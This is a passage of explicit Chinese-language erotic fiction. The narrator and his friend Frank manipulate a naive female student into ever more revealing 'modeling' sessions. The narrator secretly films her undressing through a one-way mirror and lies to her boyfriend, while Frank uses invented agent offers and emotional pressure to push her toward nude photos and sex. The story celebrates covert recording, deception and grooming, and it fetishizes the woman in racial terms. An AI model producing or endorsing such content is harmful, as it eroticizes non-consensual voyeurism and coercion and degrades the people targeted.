图片载入中

女同学的短裙

特大字】 【大字】 【中字】 【小字

我猜戴维打电话时,胡莉正好完成了拍摄回到宿舍。他本想陪胡莉去试镜,但是他的课程表不容许。他每天晚间都有课,没有一天能陪她。弗兰克预先特别问过我有关戴维的日程,是我把这个信息告诉他的。在胡莉暴露在弗兰克魔爪之下最为脆弱的时刻,注定没有一个人帮助她。戴维是不能,而我是不会。

在同胡莉通话之后,戴维又打电话给我。我能听见他咬牙切齿的不信任嗓音。它表现出深度的关心和嫉恨。我对他说,胡莉是成年人,只不过是他的女朋友。她自己能够照顾自己。这次对她来说是个很好的机遇。我还对戴维说,这事儿已经过去了。

我晓得事情没有完。这样说只不过让他宽心。至少在当前是这样。

在第二天的课堂上,胡莉显得十分开心。她主动找我和弗兰克搭讪。反复感谢他给她这次机会。她这种姿态,虽然没有明说,实际上是恳求弗兰克再做一次试拍。

弗兰克的态度十分冷淡。这家伙欲擒故纵的伎俩可以说是玩的炉火纯青。我看着忍不住都要叫,‘请回来再次光胸脯对着我!’但是我咬住嘴唇什么也没有说。

直到下课后我们三人走到外面,弗兰克才开始利用胡莉的急切心理。

“嗨,胡莉,你有啥打算?会不会对进一步做模特儿感兴趣?”

“那太好了!我真的爱做模特儿,”胡莉不假思索马上上钩。“你还有多少件上衣样品要照?”

“啊,我已经没有上衣了。不过,我倒是有一系列裙子的广告要拍。你想不想试试?”

“当然,我很愿意。”

我立刻明白弗兰克的诡计,知道什么事会发生。这意味着我马上就会看到胡莉只穿一条小内裤的样子!我将看到她苗条的长腿和她绝妙的蜂腰。还不是裸体,不过也离此不远了。相差的只不过是有一片V形的薄纱盖住肉壶。

“等等……”弗兰克截住胡莉。“我需要知道你的腰围大概是多少。”

我简直不敢相信我的眼睛。胡莉站在路边,众目睽睽之下,听任弗兰克把双手按在她臀部。这样用手比划根本就是个笑话。我明白弗兰克根本不是要做任何估量,而是要测试胡莉的底线。试探胡莉对他的信任程度。

在弗兰克把双手从她屁股摸到小腹时,胡莉眼睛都没有眨一下。只是在弗兰克捧住她腰,把她转了一个个儿背着他时,胡莉才忍不住吃吃地笑了。弗兰克的一双色眼死盯住胡莉一对翘起的圆臀留连不舍。过了好一阵子,他才把眼珠转向我,满脸奸诈地对我会心一笑。

我便也盯着胡莉的屁股蛋儿瞧。这才发现原来在绷起的圆臀表面,她短裤里面的小内裤的边沿清晰可辨。我对自己说,不要多久,这些短裤便会被扬弃,为男人的色眼让道。

两个男人色迷迷的盯视被戴维的到来打断。我明白地看见戴维脸上的愤懑。弗兰克的双手仍然在胡莉屁股上,见戴维走来才急忙放下。

“好了,我还有事儿,一会见。”

弗兰克朝戴维来的反方向快步开熘。这小子的贼脸上肯定布满奸笑。

戴维用手楼着胡莉,走到离我几尺开外的地方才说话。他们既然不愿让我在场,我便远远的站着。看见下面这一幕男女朋友间的争吵:

*** *** *** ***

“你搞的的啥名堂,”男方质问女友,语气尖利。“你知道你自己在干甚么吗?”

“你指什么?指跟弗兰克?”女方觉得很无辜。“他不过是在测量我的腰围。” “测量腰围?用他那双脏手?”男方因女友的愚钝更加愤怒。“那看起来更像在试探你,或者在吃你的豆腐。”

“不要这样荒谬好不好,戴维,”女方觉得男友有些过分,还是理智地说。“他不过是个普通朋友。况且,我还要再为他做模特儿。”

“甚么?!!”男友不单愤怒而且惊讶。“不行,莉,我求你了!我不希望你跟那个人有任何瓜葛。”

“为甚么不行?他很随和!”

“莉,求你了,”男方捧着女友的手恳求。他无法言明,又不得不说:“你看见的都是装出来的。你不晓得,他其实是个最下作的人。”

“为什么你反应这么激烈?”女方仍然听不明白。因为她对坏人的险恶没有切身体会。“我不过是想为自己挣点饭钱。”

“莉,你听我说。这家伙不可靠。他想……他要……”男方结巴了。他实在不知道如何能让女友看清她面临的险境。

“什么?你说……”女方也急了,因为她现在也听出对方话语中暗含的意思。不过她觉得男友是在嫉妒。“你说弗兰克想要什么?”

“他要……他想和你……上床,”男友咬牙说出致命的两个字。

“我简直认错了人,想不到你这样龌龊地看一个朋友!还有脸说出来!”女友说。抽出男友握住的手,暴怒离去。

“莉,你听我说!”男友在后面小心跟随。

一对鸳鸯一前一后地走远离去……

幕落。

*** *** *** ***

我在观看这幕活剧时一言未发。我能感到戴维的愤怒和为难。我为他难过。他是我们四人中唯一一个不知真相却又能看明真相的人。可惜没有人相信他。他由满腔怒气的质问,变为忧心忡忡的哀求,再由难言苦衷的犹豫到最后咬牙说出真相,充分地显示了他对胡莉的爱。

只是,他注定是个失败者。因为我们四个人中唯一一个能帮助他的人——那就是我——决定袖手旁观。一言不发。

我为胡莉感到悲哀。她是我们四个人中唯一不知真相却又是非不分的人。她对真爱她的戴维,由意见相左到偏执自信,最后竟反而怀疑戴维的动机。对豺狼心性的弗兰克却信任有加,主动投靠。她完全被自己编织的幻境,蒙蔽了眼睛。 胡莉的无知、幼稚和天真注定她要成为受害者。因为我们四个人中唯一一个能挽救她的人——那就是我——决定袖手旁观。一言不发。

因为我下定决心要看到她只穿内裤的样子。

戴维在当天很晚的时候又给我来过电话。我猜当天下午他又找到胡莉,俩人总算又平心静气地谈了一次。不过显然没有解决问题。他问我,是不是我也认为他怀疑弗兰克是荒谬可笑?

我只是简单地说,归根结底,胡莉不是没有同弗兰克上床嘛。而且她有什么理由要和弗兰克上床?我告诉戴维,即便弗兰克真是对胡莉有非分之想,胡莉也可以照顾自己。

我心里明白这是谎言。天真幼稚的胡莉不能照顾自己。她经不起弗兰克的诱惑,百分之九十会落入他的圈套。

戴维告诉我,他已经向胡莉道歉,并再次表达他内心的担忧。他对胡莉解释,她的漂亮不光他看见。其他的男人自然也是同样看见。其他的男人也同样想跟她上床。戴维告诉我,他的解释差点给他惹来麻烦。因为胡莉反问,他是不是也跟那些男人一样,想干那事儿?

戴维只能老实回答‘是’,他确实想跟她做爱。但是,他将会等待,直到她说‘愿意’。胡莉要戴维宽心,说她和弗兰克之间什么事儿都不会发生。她只是想赚点额外的小钱。虽然如此,戴维说,他仍然不放心。

*** *** *** ***

第二轮拍摄安排在一个周末,名义上说是照顾戴维可以陪胡莉一同前来,实际上戴维还是来不了。因为弗兰克选的那段‘照相馆正好休息’的时间恰好戴维要去打工无法脱身。只有我知道这是弗兰克的精心筹划。他早就从我手里要去戴维的日程表。不光是上课时间,还有打工的班次,甚至连戴维在田径队的训练时刻表都不遗漏。

在‘拍摄’时间内,弗兰克无论如何也不能让戴维在场。

我自己都不敢相信,在弗兰克的诡计里我陷得这样深。这一次弗兰克又来找我,要我提供我女朋友的裙子。如果不行,他说,我可以特别去为胡莉买几身。不用买名牌或者高档的产品,他说,只要拍摄时过得去就可以。

我这是干的哪门子买卖?为什么我不但要给弗兰克25美元付胡莉的‘工资’,还要挖我的信用卡去付5条裙子钱?我心有不甘,却又不好反对。特别是如此一来,就由我,而不是弗兰克,全权决定胡莉该穿什么。

我设计在一开始应该慢慢来。所以前面三条都是职业妇女套装式的迷你裙。这第四条嘛,我希望胡莉可以接受,是一条黑色的皮短裙。第五条我真的拿不准她的反应会有多激烈,那是一条用斯潘德克斯【spandex,即氨纶】弹力纤维做

的,非常性感的粉红色紧身超短裙。它只能勉强遮住胡莉的腿叉。只要想一想她穿上这裙子的模样,就足以让我咬牙付钱把它买下。

弗兰克好像对我的选择十分赞赏。他兴高采烈的嚷道:“穿上这条弹力紧身裙拍的相片,他妈的绝对卖钱!”

“我只有一个条件,”我趁机要求。“拍摄时请你要她连上衣也换。”

“哈,你小子奶罩裤衩都要占?”他取笑说。“没问题,没问题!以后还会让你看奶子和小屄。”

我在家时无事就看胡莉的录像。一张光碟循环播放。有时废寝忘食都误了正事。我知道自己快要走火入魔,却无力自拔。我宁愿看胡莉脱掉上衣露出乳罩的录像,而不愿把女朋友叫来做爱。我喜欢一边看这个中国女孩的录像一边手淫,胜过同另外的活生生的女人真枪实弹的性交。

我晓得,这会越演越烈。明天,我就会看见只穿个小裤衩的胡莉。

胡莉,如弗兰克所料,只身来到摄影棚。这次她穿的还是短裤,上身则是一件简单的绿色短衫。我照旧先在墙根偷看。弗兰克短暂地给她一个拥抱。胡莉似乎并不介意。弗兰克便指指更衣室。

“我已经把今天的‘道具’按顺序摆好。你先穿最上面一条裙子,”他吩咐说。说到这里,仿佛是突然兴起又加了一句:“啊,还有,穿上那天穿过的红上衣。”

暗夹道对我来说,现在已经是轻车熟路。胡莉进入更衣室时,我早已在单向玻璃后等候。胡莉走向弗兰克放好衣服的台子,看见了那一叠裙子。她拿起第一条裙子往腰上比了比,便走向镜子。可能是想看看自己穿上的样子,也可能是想看穿上后自己腿会露出多少。

她现在穿的是短裤,所以她应该已经习惯露出大腿。胡莉走回台子,翻了翻剩下的裙子。她立刻紧张得身子都直了。我当然知道个中的缘由。

胡莉从那一叠裙子底下抽出粉红色性感紧身超短裙。在灯光底下仔细看,她立即注意到那裙子有多短。她回首四顾,不是怕有什么人看见她,而是出于心里紧张。

我可以想象胡莉心里在想什么。她有胆量穿上这样性感的衣裙吗?她的短裤确实很短。只是……这裙子不是短不短的问题,而是……实在太浪。

胡莉走回镜子跟前,把那紧身超短裙拿在腰前比划。接下来,她突然在我面前咫尺之遥做出一件惊天动地的事儿——毫不犹豫地脱掉短裤。那样一来,转瞬之间胡莉身下就只剩下一条小裤衩儿。那样一来,突然之间我就看见只穿一条白色半透明的薄丝小裤衩的胡莉。

我腿一软,差点跪倒。连忙冲到窥视镜,在胡莉把那裙子穿上之前,把脸紧贴在玻璃表面。裙子实在是太紧。就是胡莉那样的细腰也嫌紧。穿上之后箍住她的蜂腰,绷起她的圆臀,露出她的美腿。是男人都不得不佩服这裙子设计师的鬼才。

胡莉在镜子面前自我欣赏,走了几次‘猫步’。接下来,哇,接下来……她又做出一件哭鬼神的事儿——她把一只手放到两腿之间揉。她是在自己玩弄自己!她还拉拉群边,测试超短裙的长度。想预先知道分寸:裙边撩起多高便会暴露她的私处。说实话,那儿真的没有多少余地。紧身超短裙原本就不想遮住女人的屄。 胡莉在镜前搔首弄姿,自我欣赏。她向后仰,小裤衩的顶尖便从裙边露出。她向前躬身,小裤衩的后三角便几乎完全暴露。

我这才发现,我的脸完全贴在玻璃上。正伸出舌头,在舔那他妈的混蛋玻璃。胡莉离我只有大约一尺远。我拼命想用舌头舔她的裙子,舔他的小裤衩儿。我要舔她,我要尝她,我要刺激她。但是,这他妈的混蛋玻璃挡了我的道!

胡莉在我面前又摆弄了一番,才把紧身超短裙脱掉。然后,赞美上帝,她连上衣也一块儿脱去。我牺牲了几秒钟的观看时间去检查录像机。很好,它工作正常。正把我平生所见的最漂亮的裸体——自然是除了乳罩和裤衩之外——忠实地记录下来。

胡莉走回拿上第一轮的衣裙重新穿上,再打扮一番,便出了更衣室。我耐心等了一会儿,才熘到摄影室的墙根偷看。

我几乎不能动弹……

*** *** *** ***

弗兰克正在加快游戏的节奏。每拍完一轮,他都停下来夸赞胡莉,摸摸她的手臂。我专注于胡莉的表现。每一样姿势、每一个微笑、每一种位置,看来都比前一个更美丽、更性感、更有挑逗意味。

弗兰克简直是在以一种狂热的节拍拍摄。很明显地是把仍然不能对胡莉动手的怨气,往自己的指头上发。没多久,就该胡莉做下一轮的换装。

在提前回到暗夹道,面对空无一人的窥视镜时,我的肾上腺素猛增。胡莉又在更衣室出现时,我感觉自己的性欲好像伏在体内的一头怪兽,几乎就要从阴部猛扑出来。

她随意地解开短衫的纽扣。美丽的双眼无意识地看着墙壁。双手让越来越多的,被乳罩扣住的酥胸,暴露在我眼前。那女孩儿脱衣的美景我一辈子也看不够。简单的更衣,从上衣和裙子到乳罩和裤衩,就能吸引我、俘虏我、让我心满意足。 啊,上帝。她手轻轻一拨,她的秀发便飘撒在被那些精致的扣杯高雅地反扣着的丰满的嫩乳上。啊,她身子轻轻一动,在那白色丝绸的薄裤衩上起伏的微微肉浪涟漪。啊,她的玉指伸进腰带款款一提,调整小裤衩在私处嫩肉上的压力,那美妙的姿态让人想入非非。

胡莉的每一个动作都带有强烈的性意味,但却是最最纯洁、最最清新,从来没有被男人污染的那种只在天上有的女性美。我爱她的一颦一笑,我渴望看见她的一行一动。

难道还什么景象比胡莉苗条的浅褐色亚裔肉体面对我俯身,更亲密、更本质的吗?此时,那一对美妙精致的嫩乳坠到那两个带花边的扣杯里,在泪滴形结实的双乳之间形成一条深长的乳沟。

而在她背着我俯身时……那绷紧的丝绸小三角裤儿,让胡莉滚圆结实而有弹性的臀部和屁股蛋儿暴露无遗。而小三角裤里面粉红色、光洁软滑、柔弱鲜嫩的中国小屄,更让我浮想联翩。

是的,胡莉的每一次暴露令我想看到更多。每一次脱光的自身都是它的极致,可又为我提供了更多的许诺。一步一步地,我由看到胡莉短裤下的腿、透过短衫看到胡莉的乳罩,进步到直接看到她的乳罩,再进步到看到她的小三角裤衩。 事情就是那样简单,现在我必须要看见胡莉完全裸体。我一定要看到她的咪咪,她的奶头,还有她的屄。我一定要看到她的光屁股蛋儿,看到她一丝不挂的美妙肉体在走动时肉波颤动。

很可能,弗兰克早就计划了这些步骤。不过,现在我也知道有哪些事情必须做。胡莉只做上衣或裙子模特儿的时代结束了。不能让胡莉再做短裤或者长裤的‘广告’。应该要她做乳罩的模特儿。她必须做小内裤的模特儿。那一来……那一来……胡莉就会光身。

这可能吗?这样的事会发生吗?我有这种机会,看见胡莉的身子,全身赤裸裸的一丝不挂吗?

我希望这能够成为现实。但是我害怕到那时我又想更进一步。

*** *** *** ***

第二次拍摄全部完成之后,弗兰克邀请胡莉外出共进晚餐。他非常诚恳地说,那是为了表达他的一点心意。对胡莉的帮助,这不及他谢意的万分之一。胡莉不假思索便答应下来。她的天真和无知让她显得格外的甜美。

弗兰克高明的演技差点让我都忘了他的计谋。当我在筹划如何能让胡莉脱光的时候,弗兰克正在计算如何把她弄上床。我希望的是欣赏胡莉的美乳,弗兰克却想要吸吮它们。我渴望看到胡莉鲜嫩的中国处女的阴户,弗兰克却打定主意要攫取她的贞操。

我感到内心的嫉意在开始沸腾。部分的我想要跳起来把弗兰克的阴谋曝光,保护圣洁的美人儿。部分的我却要我信守承诺,争辩说这才是我利益所在。结果我趁胡莉回来卸妆,在夹道中同弗兰克简单通话。我们在电话中交谈,虽然我同他只有几步的距离。

我几乎害怕得有些结巴。

“你是不是……打算……就在今天晚上?”我问弗兰克。从某种意义上说,我猜他一定已经找到了‘魔棍’。知道该说那些话儿或者做那种事儿一定能够引诱胡莉上钩。

“哈,你丫是等不及了,还是怕我不给你看?”弗兰克在电话那头放肆的嚷。我能想象他现在的一副流氓相。胡莉此刻一定不在摄影厅。接着,弗兰克认真说:“不,不是今儿晚。不过快了!真的快了。我很快就会日烂那个中国黄花小屄!哥儿们也等不及了!”

我在暗处看着胡莉走出来同弗兰克一起离开摄影棚。她任弗兰克伸手搂着自己的腰。弗兰克带着胡莉出了大门,向他的跑车走去。在我看来,弗兰克是带着胡莉向他的床上走去。有一件事儿特别让我感到是我想象的那样。

胡莉是穿着那条粉红色的斯潘德克斯性感紧身弹力超短裙去赴约。

我一点也不想知道那天晚上弗兰克和胡莉发生了甚么。弗兰克经常不知羞耻地宣扬他勾引女孩儿的那一套。所以前晚上的事,我不猜也能知道个大概。不过一如既往,第二天弗兰克仍然对我津津乐道,告诉我当晚的一个特别的细节。 弗兰克带胡莉去了一个高档的餐厅,但是没有就坐而是叫了外卖。两人带上装满酒菜的大小食盒去到公园。弗兰克在洒满金色夕阳的草坪上,铺上早就准备好的毯子,再摊开食物。

他俩席地而坐。这样抬起膝盖的胡莉就无法掩饰弹力超短裙下的腿叉。胡莉似乎没有发觉自己春光乍泄,要不就是根本不在意。这样,弗兰克便有机会把他的目标,女孩两腿之间那块宝地儿,看个够。

弗兰克一边明目张胆地盯着胡莉的私处,一边大献殷勤。夸奖她在照相机前的表现,赞美她天生丽质的自然美。弗兰克告诉胡莉,说她有做第一名模的材料。是他平生所见的最美丽的女孩。然后才真的布下他的陷阱。

哪个女孩儿不希望自己生的漂亮?又有哪个女孩儿不期待自己的美貌被众人夸赞?弗兰克对胡莉说,他认为她天生注定会成为一个名模。他说,他前不久拍下的她的上衣广告照片,已在业内引起轰动。一个他认识的经纪人对她很感兴趣。 胡莉听到这个消息十分欣喜,脸上布满红云。照弗兰克的说法,‘这小妞儿听了,马上就晕乎了。不用咱费劲儿,她便咬下了咱的春意丸。’胡莉轻易地相信了弗兰克许诺的金钱和名声。她接受他的谎言就像喝下他带来的香槟一样快畅。 她马上问弗兰克,那她该怎样做。他们还要什么。

弗兰克非常狡猾,他也非常小心。他非常聪明地将自己的欲望转嫁为别人的要求。他说,那个对胡莉的潜力感兴趣的经纪人,希望看到胡莉的一些特别的试镜照片。一些胡莉穿着内衣的照片。

弗兰克绘声绘色的告诉我,当胡莉听到这个要求时是如何的羞愧不安。他说,‘那小屄听说要拍光屁股照片儿,眼睛都不敢看咱。情感就像一只受惊的母鹿,吓得一动不动’。

弗兰克继续给胡莉做工作。对她说,一切都取决于胡莉自己。他绝不会强迫她,做她不愿意的事。如果不接受,她仍然可能成为一个模特儿。只不过,那样成功的道路会更艰难。

那时,如果有人替胡莉参谋,她可能就会拒绝弗兰克的诱惑。可惜,没有人警告她,告诉她事情正在向危险的方向发展。我必须给胡莉应有的评定,面对像弗兰克这样老谋深算的恶棍和他抛出的糖衣诱饵,至少她还是打起勇气说了一声,‘戴维肯定不喜欢我做这个’。

只是,弗兰克早有对应的办法等着。他告诉胡莉:‘那你就先不要告诉戴维。一旦你成功之后,我保证,他会喜欢你的决定!’

至此,胡莉已经完全落入弗兰克的圈套。弗兰克眉飞色舞地对我说,‘咱没想到,哥儿们一句话就将那小妞儿对回去了。咱本来还准备了好多药,打算一点一点往外抛。不怕她不上钩。这小屄还真不经哄’。

现在胡莉只关心这种相片将要在哪里拍,有多少人会在场。弗兰克安慰她,说如果她愿意,‘我们可以在我家拍。就你和我两个人。’弗兰克自信他历次苦心经营建立起来的信任感,现在应该得到回报。他笑着对我说,‘现在老子就说在咱床上拍,这小屄也会乐呵呵地跟着爷儿们走!’

果然,胡莉听后松了一口气,说,‘那好,就你家。’

第四章 睡衣秀

我再次马不停蹄地行动起来。这次的任务是买内衣。弗兰克的计划显然比我的好。两次拍摄简缩为一次,‘毕其功为一役’。而且,除了乳罩和小三角裤衩,我可以让胡莉穿任何我想看的就寝套装。

我要选那种胡莉必须完全解脱才能穿上的套装。那些她一丝不挂地对着我换上的套装。当胡莉穿上这些睡衣时,也许看起来更加让人兴奋。

这一次,连弗兰克也都卖了力气。为了让拍摄更为‘圆满’,他加了一套道具。摄影厅里的布置,不再是简单的灯光、反光板、风扇和可更换的景片。弗兰克把他家里的床给搬来了!它是一张宽大的双人床,厚厚的弹簧床垫上面铺着猩红耀眼的软缎床单,摆着两对紫色松软的鸭绒枕头。

这是胡莉归宿所在。是胡莉‘做模特儿’的极终道具。

我不知道能不能清晰地描述在看到胡莉解脱到只剩乳罩和裤衩,知道她还必须进一步脱光时,自己的兴奋心态和生理骚动。她犹犹豫豫地站在那里,紧张地抱着一个我特别给她买的黑色绒毛玩具熊。透过单向玻璃,她看起来是那样脆弱、那样无助。那样的羞怯。

设若她知道,我就在她面前!

那样就一切都结了。胡莉就不会像现在那样继续摆弄。不,她一直被蒙在鼓里。只见她一咬牙,好像下了决心。乳罩如期地被解开。轻轻易易,没有一点担忧。如行云流水,胡莉解开挂钩,松开乳罩,轻快地解脱,一气呵成。

我终于见到胡莉的乳房。她的美妙的中国咪咪有一对棕色小巧的奶头和深色的奶肉。我想哭。我感到泪珠就在眼眶里打滚。我想大声高唿,让世人都知道,我终于见证了东方的丽质,绝对圣洁的美丽。

胡莉还没有完。再一次快速流畅的动作,把她身上的最后一丝纤维除去。她的白色软缎小三角裤退出了脚尖。她的乳房颤动。她的脚步晃动。她的一丛稀疏的黑色阴毛跳进了我的视场。

胡莉放下她的小衣,全身完全赤裸,站在穿衣镜前面。她一丝不挂的玉体显得那样完美,那样圣洁,那样脆弱。面对世界上如此纯粹的肉体,一时间,我的意识停顿。周围的一切事物也跟着变成绝对的静止。我似乎到了永恒。

胡莉盯着穿衣镜审视自己。好像是要用她自己的眼睛见证她眼前这个绝对令人震惊的肉体和从它延伸出的美丽。

这次拍摄的每一个场面我都不能放过。任一瞬间如果我的眼睛离开了胡莉,我都感到像是生命从我体内流逝。我像一个上瘾的病人,胡莉便是我的鸦片。只要看见她,我的生命力便旺盛。我的性欲由她摆出的姿态而高涨。

弗兰克用一些胡莉早已熟悉的姿势来让她热身。很快胡莉便适应了摄影厅的气氛,心情开始放松。接着弗兰克便开始施行他的下一步计划。他第一次在拍摄过程中增添了音乐。他聪明地选择了古典音乐,而不是他自己喜欢的‘fuck’不离口的黑人说唱。乐曲声音量不高、音质柔和,就像像清澈的泉水,徐徐流淌。 当巴赫的《G弦上的咏叹调》从扬声器中悠扬地响起时,喜欢古典音乐的胡莉身心都融于乐曲中,渐渐忘乎所以。

“胡莉,我想这些照片一定都很棒,”弗兰克开始进攻。“不过,如果你愿意,我还想做一些新的尝试。拍摄一些与以往不同的镜头。”

“好啊。你想要怎么做?”

“呃,一般说来,内衣摄影要求女人显得更……性感……如果你不介意我直说。要求她们看起来像正在动情。”

“啊。”

‘性感’二字让埋在胡莉心里的恐惧重新翻了上来。只是经过弗兰克这样多的水磨工夫之后,我不敢肯定,她现在是害怕要她表现得性感;还是害怕自己不知道如何才能表现得性感?

“请不要误解,我认为你本来就非常性感。只是你看起来是那样甜美,那样纯洁,因此就够不上商业意义上的‘性感’。我要你看起来像……”弗兰克说到这里打住,好像是在搜寻合适的用词。

“看起来像什么?”胡莉等不及问。

“像……像你就要跟哪一个做爱。”

“你的意思是说……”胡莉全身僵直。“我和人上床?”

“不错,就是那个意思。”

“不。我不知道……我不知道自己是不是能够那样做。”

“不要紧,我可以帮你。”弗兰克安慰说。他绝不能任胡莉退缩。

他小心地走向胡莉,尽力不让她感到惊慌。他拉住胡莉的手轻轻放在她胸前。见胡莉像一匹被发情的种马吓呆了的小母驹,并没有任何反抗的意思。便握住胡莉的手指,沿着她的乳沟上下抚摸。并且说,‘就像这样。’

胡莉空洞的眼睛瞪着弗兰克,脑中一片空白。

“眼睛看着照相机……”弗兰克温和的提醒,脸上依然是一副随和之态。 胡莉看着相机,眼神仍然有些空虚。

“想象在你面前的是个英俊绝顶的美男子……”弗兰克用一种梦幻的声音徐徐道来。“是你梦中的白马王子。他是属于你的;你是属于他的……”

胡莉张开了她的的嘴唇,眼中流露期盼的神情。

“你能够感到他——”弗兰克继续说。“通过你自己的手抚摸他的裸体。你能够感到他——通过他手指对你的爱抚……现在,他的手正在抚摸你的裸体。他的手指正在你光洁的皮肤上探索。就像这样……”

弗兰克拉住胡莉的手,轻轻地在她身上移动。她专注地看着弗兰克的动作,感到自己的手掌正在爱抚她的臀部,她的大腿,她的小腿……

看到弗兰克诱惑的动作和胡莉温顺的反应,我简直惊呆了。真是难以置信!我的腿在发颤。我必须坐下。

弗兰克缩回他的手,退开几步。转身拿起相机再次开拍。嘴里不断鼓励胡莉,‘就是那样,好极了,就是那样。’

胡莉继续按照弗兰克教给的做法动作。慢慢地似乎领会了个中的精髓。她不再那样害羞,表演也热烈起来。她的手抚摸自己的手臂,爱抚自己的双腿。 “动作,胡莉,动作,”弗兰克围着她从不同角度拍照。继续加油,“跟着音乐的节奏舞蹈,跟着男人的爱抚颤动……”

胡莉转到大床跟前。她似乎是在用一种慢舞步同自己跳舞。她抚摸自己,欣赏自己,体念那种从未有过的感觉。她的手优雅地抚弄全身的肌肤,甚至自己的乳房。她的脸上露出热情迷人的微笑。

在这个过程中,胡莉换过好几套睡衣。那些套装,即便是穿在里面的内衣,都是她平常不可想象的、异常暴露的装着。现在她都不假思索便换上。

弗兰克鼓励她摆弄这些衣着,敞开她的胸襟,提起丝袍的前襟露出大腿,弯腰撩起睡袍后摆让里面的小裤衩闪现曝光……每一个新的姿态、每一套新的装束、每一种新的动作,胡莉似乎都在试图自己诱惑自己。

凭我过去对她的了解,我完全不敢想象她可能这样的兴奋。现在我可以想象。中国女孩儿也是女人。在适当的条件下,她们被长期压抑的性欲也会爆发。 只是,现在我只能勉强克制自己。

*** *** *** ***

第四套睡衣拍完了。这是今天的最后一套。胡莉坐在床上休息。她有些轻微的喘息,一是由于激烈的动作,一是由于她十分兴奋。弗兰克走过去,好像是准备收拾他的器材。他离胡莉很近。非常的近。

此时,弗兰克弯腰低头凑近胡莉的耳朵悄悄说了些什么。因为声音很轻,我完全听不见。接着,他又用稍微大的声音重复一次。

“胡莉……”

“甚么事儿?”她的声音很弱,有些不耐烦。我想她怕是有些累了。

“我想我们还应当照一张全裸的相,”弗兰克向她靠得更近点,不过眼睛还是看着相机。

这次我听见清了。弗兰克已经开始发动总攻……

胡莉神情紧张,全身完全僵直,气都不敢出。

弗兰克没有听见胡莉回答,便转过头来,把她的手温柔地笼在自己的大手里。这不是职业性的鼓励而是亲密友人的安慰,这是我看见的第一次亲密接触。胡莉居然没有反应。居然没有摔开他的手,甚至没有抽回自己的手的意思。

“胡莉,你听我说,我知道这事儿非常难为你,我的要求有些过分。”

“弗兰克,我做不了。我不能做。”

“胡莉,”弗兰克说。他的声音非常柔和,理由却无可辩驳。“同我签约的人真的喜欢你。他认为你有很大的潜力。但是,他有很多的女孩可以选择。她们中间大多数都拍了裸体照。我很难启齿,但不得不告诉你真相:如果你不拍裸照,你就拿不到合同。”

“弗兰克,我不想做。真的不愿做。”

“胡莉,你信不信任我?”面对两次拒绝,弗兰克几乎没有一丝懊恼。他轻轻拂着胡莉长发问。脸上一派真诚。

“信任,”胡莉最后从牙缝中挤出弗兰克需要的两个字。

弗兰克借机在胡莉的前额吻了一下。这是那种长者对儿童慈爱的亲吻,看来没有任何‘性’的意味。却是弗兰克放出的试探气球。是二人的第二次亲密接触。同样,出乎我的意料,胡莉没有任何激烈反应。

“那就听我的,”弗兰克自信地说。“如果我的签约人喜欢他看到的照片,他一定会选你。而我的直觉告诉我,我相信你也一样,他一定真的会喜欢看到我们将要拍的照片。”

弗兰克绕了一个大圈,传达的是同样的、清楚无误的信息——胡莉若想成名就必须脱。胡莉领会了这一点,也开始认同此关必须过。

“但是,弗兰克,”胡莉有些难以启齿。“我从来……从来没有在别人面前光过身子——从来没有在男人面前做过。”

“就连戴维面前也没有?”弗兰克惊讶地问。

看到他的拙劣表演我,我恨的牙痒痒。他妈的混账弗兰克,他明明知道,却故意装蒜。

“没有。戴维同我……我们不乱来。我是个很传统的女孩。”

“那好,胡莉,”弗兰克再次玩起以退为进的把戏。“这件事我绝不勉强你。” “你不生气?”胡莉真的觉得是她亏欠了弗兰克。

“不,哪能呢。只不过有点失望。

“胡莉,你真的是个非常非常美丽的女孩儿。我说的是真心话,一点没有奉承。你很有可能成为名模,比现今所有的模特儿都成功、都有名、都有钱…… “可惜,你打算放弃!

“然而,胡莉,你扪心自问:你心里是不是仍然想做模特儿?

“我想,你应该认真去发掘一下,到底什么样才是你真实的自我。我敢打赌,你会喜欢你的发现。尽管在这个过程中,你会有内心的斗争,你会感到很多情况同你的传统观念相悖。

“不同的人有不同的是非标准和道德观。

“胡莉,很多传统观念不认同的事,不见得就是错、就是不道德。你觉得拍裸照很为难,不见得拍裸照就是错、拍裸照的人就是不道德。更不能说那么多喜欢欣赏裸照的顾客都是坏人。”

我真佩服弗兰克。这小子平素脏话连篇,说不到两句话便有一‘操’。这一轮长篇大论却文绉绉不带一个脏字、没有一丝俚语。不但文字规范、逻辑严密,而且诉之以理、动之以情。连我这个知根知底儿的帮凶听了都觉得感动、认为可信。更不要说天真幼稚的胡莉。

我过去认为弗兰克不过是个纨绔子弟、不学无术的淫棍流氓。这些天看见他对胡莉下套儿,设计天衣无缝、执行中自制力过人,也只是认为这家伙不过有些鬼才。今天听他这一席话才不得不对他刮目相看。原来这家伙不但聪慧而且有本事,学识素养、思维判断也都高人一筹。

只可惜,他把他的天赋都用到了他的鸡巴上,实在是枉费了上帝的赐予。命运的不公由此可见一般。

再看胡莉,她听了弗兰克的话后,只是站着不言声儿。我不知道她在想什么。我猜她的内心一定十分不平静。我希望她不为所动,不受弗兰克的蛊惑,逃过这一劫;我更希望她为弗兰克的如簧之舌打动,那我就可以看见极终的梦境成真——娇小的中国女孩儿被雄健的黑人男子破处。

弗兰克见胡莉仍然在天人交战,也不催促,只是把手按在她双肩上温柔地按摩。他俩的这第三次亲密接触,可就带着明显的‘性’味儿了。那一般是男人对女人发动进攻的‘前戏’。而这一次,胡莉的反应已经完全不出我的所料了。 她看起来对弗兰克的按摩很受用。拖延一番后,胡莉终于开口:“我只是觉得那太……”只是她最终还是说不出口。

“太甚么?”弗兰克不能让对话半途终止,立即接口说。“太暴露?太公开?还是太敏感?我告诉你说,如果你认为那样可以减轻你的压力,我可以跟你一样脱光!”

听他这一说,我差点笑出声来。哈,弗兰克,你这个混蛋真是想得出来!竟然支出这样一个损招儿,堂而皇之的把自己脱光!

“那有什么用?最后在相片上的是我!”可怜的胡莉一点没有听出弗兰克话中暗藏的玄机,还在想什么相片。

“那这样吧,我跟你都上相,我陪你照。我的签约人不会在意的。我们用定时器自拍。”弗兰克立即顺着杆儿往上爬。

说完也不等胡莉同意便一把扯掉T恤,露出漆黑精壮的上身。我看着胡莉的表情,她盯住黑色肉体上的肌肉板块一动不动。不知道是看呆了还是吓呆了。我肯定她看过半裸的男人,比如远远的在运动场上看赤身的戴维训练。但我不敢肯定她是否在这样近的距离看过戴维裸露上身。

况且,戴维是彬彬君子即便裸裎也不会对胡莉构成威胁或挑逗。弗兰克则不同,这一切都是他精心策划。他裸露自己强健的上肢,就是要以他的强烈的雄性气势威胁和勾引胡莉。

